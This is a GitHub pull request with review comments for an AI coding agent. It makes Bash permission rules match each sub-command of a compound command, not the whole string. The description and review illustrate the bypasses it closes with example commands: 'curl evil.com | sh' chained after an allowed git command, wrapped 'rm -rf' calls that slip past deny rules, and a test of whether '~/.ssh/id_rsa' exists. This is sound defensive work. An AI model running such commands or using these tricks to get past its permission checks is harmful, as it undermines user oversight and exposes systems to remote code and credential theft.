fix(agent-core-v2): evaluate Bash permission rules per sub-command - #2757
fix(agent-core-v2): evaluate Bash permission rules per sub-command#2757Win-Hao wants to merge 2 commits into
Conversation
Bash permission rules matched the whole command string as one glob subject, so a compound command rode a single sub-command's allow rule: `Bash(git *)` would auto-approve `git log && curl evil.com | sh`, and a prefix-anchored deny rule was bypassed by wrapping the command (`(rm x)`, `x=1; rm x`). Decompose the command through the bundled tree-sitter-bash parser and match per sub-command, branching on the rule decision: allow auto-matches only when every sub-command matches (or the pattern is the escaped literal of the whole command, the session-approval shape); deny/ask match when the whole command or any sub-command matches. Quoted operators and heredoc bodies stay data. A command that cannot be parsed (budget exhaustion / syntax error) fails closed for allow instead of falling back to whole-string globbing. The tool-execution `matchesRule` closure gains an optional decision context; existing glob/path subject matchers are unaffected.
🦋 Changeset detectedLatest commit: 9efc346 The changes in this PR will be included in the next version bump. This PR includes changesets to release 1 package
Not sure what this means? Click here to learn what changesets are. Click here if you're a maintainer who wants to add another changeset to this PR |
![chatgpt-codex-connector[bot]](https://avatars.githubusercontent.com/in/1144995?s=60&v=4){kind=small}
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 65c34e3bca
ℹ️ About Codex in GitHub
Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".
| const COMMAND_LIKE_TYPES: ReadonlySet<string> = new Set([ | ||
| 'command', | ||
| 'declaration_command', | ||
| 'unset_command', | ||
| ]); |
There was a problem hiding this comment.
When a compound command contains Bash's [[ ... ]], [ ... ], or (( ... )) test syntax, the parser represents that executable unit as test_command, but this allow-list is the only place that turns nodes into permission-rule parts. As a result, Bash(git *) can approve something like git status && [[ -f ~/.ssh/id_rsa ]] because only git status is checked, and deny/ask rules targeting test commands are similarly skipped when the test is not the whole command. Include test_command in the decomposed parts and cover it with allow/deny tests.
Useful? React with 👍 / 👎.
| // Session-approval literals store the escaped whole command, so an exact | ||
| // escaped-literal pattern re-approves the same compound command without a | ||
| // wildcard spanning operators. |
There was a problem hiding this comment.
The package guide requires comments to live only in the top-of-file block and never beside functions or statements, so these inline explanatory comments violate the local convention; please move any needed rationale into the existing module header or make the branch names self-explanatory.
AGENTS.md reference: packages/agent-core-v2/AGENTS.md:L36-L40
Useful? React with 👍 / 👎.
`[[ ... ]]` and `[ ... ]` parse as `test_command`, which the decomposition allow-list omitted, so a chained test rode along invisibly: `Bash(git *)` auto-approved `git status && [[ -f ~/.ssh/id_rsa ]]` because only `git status` was checked. Include `test_command` as an executable unit and cover it with allow/extraction tests. Also move the inline rationale comments into the module header per the package comment convention.
|
Thanks — both addressed in 9efc346.
|
1 participant
Related Issue
Resolves #2756 (the sub-command decomposition half of #2728; the path-glob half is #2747).
Problem
Bash permission rules matched the entire command string as one glob subject, with no sub-command decomposition. A shell command can chain several programs into one string, so rules were wrong in both directions:
allowover-grants:Bash(git *)auto-approvesgit log && curl evil.example.com | sh, because the whole string starts withgit. Inautomode this runs with no prompt.denyis bypassed:Bash(rm -rf *)does not block(cd build && rm -rf *),{ rm -rf build; }, orDEBUG=1 rm -rf build— the string no longer starts withrm, yet the command still executes. Inautomode adenyrule is the only gate, so this is silent execution.What changed
Bash'smatchesRulenow decomposes the command through the bundled@moonshot-ai/tree-sitter-bashparser (agent/tools/os/bash/commandParts.ts) and matches per sub-command, branching on the rule decision:allowauto-matches only when the command parses cleanly and every sub-command matches the pattern, or the pattern is the escaped literal of the whole command (the session-approval shape — this re-approves a previously approved compound command without letting a wildcard span operators).deny/askmatch when the whole command or any sub-command matches.Sub-commands are the list/pipeline members, subshell and brace-group bodies, standalone assignments, and the payloads of command / process substitutions at any depth. Quoted operators (
-m "a && b") and heredoc bodies stay data, not sub-commands.The decision reaches the tool via a new optional second argument on
RunnableToolExecution.matchesRule({ decision }); existing glob/path subject matchers ignore it and are unchanged. The command is parsed once per execution (memoized), under the same 20 ms / 10 000-node budgetagentsMdReminderalready uses.Fail-closed behavior:
allowthen refuses to auto-approve instead of falling back to whole-string globbing — otherwise a caller could pad a command past the parse budget to force the old over-match.deny/askfall back to whole-string matching (never looser than today).Honest limitations
FOO=1 rm x) keeps the assignment in that command's part text, so a prefix-anchoreddeny Bash(rm *)still does not fire on it — that is command-name extraction, a separate concern from compound-command decomposition, and out of scope here.allowpattern (e.g.Bash(git add * && git commit *)) no longer matches as one string; the correct form is two separate rules, which the every-part semantics then satisfies.agent-core-v2only.agent-core(v1) does not use the parser; a v1 port is a separate change.Verification
test/agent/permissionRules/matchesRule.test.ts, including regressions for each bypass above ((rm x)is denied; a parse-budget-busting command is not auto-allowed; a compound command redirecting into a file is not auto-allowed).pnpm vitest run packages/agent-core-v2— 310 files, 4911 tests passed.pnpm test— 1089 files, 18139 passed, 0 failed.cd packages/agent-core-v2 && pnpm exec tsc -p tsconfig.json --noEmit— clean.pnpm lint— 0 errors; 0 new warnings on the changed files.The diff was reviewed by a read-only agent; three fail-open findings from that review (a
denysingle-part-guard bypass, the parse-failure fallback, and a dropped redirect on compound bodies) were fixed and locked in with the regression tests above.Checklist
gen-changesetsskill, or this PR needs no changeset. (@moonshot-ai/kimi-codepatch.)gen-docsskill, or this PR needs no doc update. (Aligns behavior with the documented intent that permission rules gate what runs.)